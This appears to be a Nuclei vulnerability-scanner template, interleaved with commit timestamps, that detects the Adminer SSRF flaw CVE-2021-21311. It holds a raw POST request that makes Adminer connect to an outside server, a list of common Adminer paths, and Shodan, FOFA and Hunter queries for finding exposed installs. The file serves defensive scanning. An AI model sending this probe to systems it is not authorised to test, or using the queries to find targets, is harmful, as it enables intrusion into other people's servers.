2022-03-31 19:40:06 +00:00
id : CVE-2021-21311
info :
2022-06-27 17:12:31 +00:00
name : Adminer <4.7.9 - Server-Side Request Forgery
2023-03-03 07:28:31 +00:00
author : Adam Crosser,pwnhxl
2022-03-31 19:40:06 +00:00
severity : high
2023-03-13 17:04:41 +00:00
description : Adminer before 4.7.9 is susceptible to server-side request forgery due to exposure of sensitive information in error messages. Users of Adminer versions bundling all drivers, e.g. adminer.php, are affected. An attacker can possibly obtain this information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
2022-03-31 19:40:06 +00:00
reference :
- https://github.com/vrana/adminer/security/advisories/GHSA-x5r2-hj5c-8jx6
- https://github.com/vrana/adminer/files/5957311/Adminer.SSRF.pdf
2022-05-17 09:18:12 +00:00
- https://packagist.org/packages/vrana/adminer
2022-06-27 17:12:31 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2021-21311
2022-06-28 03:37:20 +00:00
remediation : Upgrade to version 4.7.9 or later.
2022-03-31 19:40:33 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
2022-04-22 10:38:41 +00:00
cvss-score : 7.2
2022-03-31 19:40:33 +00:00
cve-id : CVE-2021-21311
cwe-id : CWE-918
2022-04-22 10:38:41 +00:00
metadata :
2023-03-04 08:05:35 +00:00
fofa-query : app="Adminer" && body="4.7.8"
2023-03-04 08:22:19 +00:00
hunter-query : app.name="Adminer"&&web.body="4.7.8"
2022-04-22 10:38:41 +00:00
shodan-query : title:"Login - Adminer"
tags : cve,cve2021,adminer,ssrf
2022-03-31 19:40:06 +00:00
requests :
2023-03-03 07:28:31 +00:00
- raw :
2023-03-04 07:09:43 +00:00
- |
2023-03-03 07:28:31 +00:00
POST {{path}} HTTP/1.1
Host : {{Hostname}}
Content-Type : application/x-www-form-urlencoded
2023-03-03 07:53:41 +00:00
auth[driver]=elastic&auth[server]=example.org&auth[username]={{to_lower(rand_base(8))}}&auth[password]={{to_lower(rand_base(8))}}&auth[db]={{to_lower(rand_base(8))}}
2023-03-04 07:09:43 +00:00
2023-03-03 07:28:31 +00:00
redirects : true
max-redirects : 1
cookie-reuse : true
attack : batteringram
payloads :
path :
- "/index.php"
- "/adminer.php"
- "/adminer/adminer.php"
- "/adminer/index.php"
- "/_adminer.php"
- "/_adminer/index.php"
2022-03-31 19:40:06 +00:00
2023-03-03 07:28:31 +00:00
stop-at-first-match : true
2022-03-31 19:40:06 +00:00
matchers-condition : and
matchers :
- type : word
part : body
words :
2023-03-13 17:04:41 +00:00
- "<title>400 - Bad Request</title>"
2022-06-27 17:12:31 +00:00
2022-06-28 02:59:30 +00:00
- type : status
status :
2023-03-05 08:39:21 +00:00
- 403
2023-03-13 17:04:41 +00:00
# Enhanced by md on 2023/03/13